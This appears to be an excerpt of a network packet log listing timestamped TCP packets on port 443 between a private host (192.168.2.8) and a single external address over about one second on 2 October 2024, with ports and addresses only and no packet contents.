Oct 2, 2024 06:11:45.754745007 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.754760981 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.754796982 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.754802942 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.754836082 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.754853010 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.755527020 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.755559921 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.755594969 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.755599976 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.755633116 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.755645990 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.764143944 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.764159918 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.764230967 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.764236927 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.764281034 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.764482975 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.764498949 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.764537096 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.764543056 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.764580011 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.764602900 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.768055916 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.768070936 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.768129110 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.768137932 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.768177032 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.831041098 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.831067085 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.831131935 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.831144094 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.831188917 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.842478037 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.842495918 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.842545986 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.842551947 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.842586040 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.842606068 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.844001055 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.844016075 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.844078064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.844084024 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.844115019 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.844135046 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.845303059 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.845340014 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.845357895 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.845361948 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.845395088 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.845416069 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.846308947 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.846324921 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.846383095 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.846388102 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.846446037 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.854751110 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.854784012 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.854836941 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.854841948 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.854913950 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.855242968 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.855259895 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.855330944 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.855335951 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.855380058 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.858823061 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.858844042 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.858932972 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.858932972 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.858937979 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.859015942 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.921669006 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.921688080 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.921792030 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.921798944 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.921845913 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.933173895 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.933191061 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.933239937 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.933245897 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.933290005 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.933315992 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.934814930 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.934849977 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.934886932 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.934891939 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.934927940 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.934947014 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.935972929 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.935988903 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.936034918 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.936039925 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.936065912 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.936084032 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.936687946 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.936706066 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.936754942 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.936764956 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.936794043 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.936920881 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.945516109 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.945539951 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.945585012 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.945590973 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.945636988 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.945976019 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.945990086 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.946050882 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.946057081 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.946099997 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.949441910 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.949476004 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.949515104 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.949521065 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.949557066 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.949590921 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.012419939 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.012455940 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.012499094 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.012506962 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.012559891 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.023787975 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.023807049 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.023858070 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.023864985 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.023914099 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.025278091 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.025293112 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.025356054 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.025362015 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.025412083 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.026732922 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.026750088 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.026812077 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.026818991 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.026868105 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.027502060 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.027527094 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.027587891 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.027594090 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.027636051 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.036189079 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.036204100 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.036250114 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.036259890 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.036288977 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.036315918 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.036593914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.036608934 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.036662102 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.036668062 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.036681890 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.036712885 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.040199995 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.040215015 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.040266991 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.040273905 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.040316105 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.103174925 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.103195906 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.103255987 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.103274107 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.103313923 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.103343010 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.114623070 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.114639997 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.114694118 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.114700079 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.114742994 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.116266966 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.116286039 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.116323948 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.116328955 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.116358995 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.116375923 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.117717028 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.117732048 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.117775917 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.117782116 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.117830992 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.117851973 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.118299007 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.118314028 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.118371010 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.118376970 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.118416071 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.127299070 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.127312899 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.127374887 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.127381086 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.127441883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.127825975 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.127846956 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.127891064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.127896070 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.127931118 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.127948999 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.131201029 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.131218910 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.131273031 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.131279945 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.131311893 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.131330013 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.193950891 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.193983078 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.194027901 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.194039106 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.194076061 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.194094896 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.205337048 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.205353022 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.205424070 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.205429077 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.205471039 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.206959009 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.206974030 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.207036972 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.207042933 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.207093954 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.208340883 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.208353996 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.208400011 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.208405972 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.208442926 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.208466053 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.208928108 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.208940983 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.208997011 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.209002972 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.209044933 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.217729092 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.217744112 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.217870951 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.217876911 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.217988968 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.218322039 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.218336105 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.218374014 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.218379021 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.218405962 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.218429089 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.221587896 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.221601963 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.221645117 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.221651077 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.221689939 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.221704960 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.284703970 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.284723043 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.284809113 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.284820080 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.284864902 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.296083927 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.296099901 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.296152115 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.296158075 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.296215057 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.297795057 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.297810078 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.297873020 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.297878981 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.297921896 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.298943043 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.298955917 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.298998117 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.299002886 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.299031019 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.299058914 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.299447060 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.299463987 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.299527884 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.299534082 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.299592972 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.308547020 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.308567047 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.308639050 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.308650970 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.308691978 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.309060097 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.309072971 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.309120893 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.309129953 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.309170008 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.312222958 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.312239885 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.312300920 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.312305927 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.312352896 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.375623941 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.375643015 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.375746012 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.375760078 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.375828981 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.386681080 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.386707067 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.386749029 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.386754990 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.386789083 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.386812925 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.388422966 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.388436079 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.388544083 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.388550043 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.388591051 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.389652967 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.389667988 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.389727116 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.389733076 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.389790058 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.390140057 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.390157938 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.390197992 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.390202999 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.390235901 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.390254974 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.399281025 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.399295092 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.399355888 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.399364948 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.399410009 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.399861097 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.399876118 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.399923086 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.399928093 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.399955988 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.399981976 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.402945042 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.402961016 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.403000116 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.403008938 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:46.403042078 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:46.403063059 CEST	49723	443	192.168.2.8	167.114.14.168
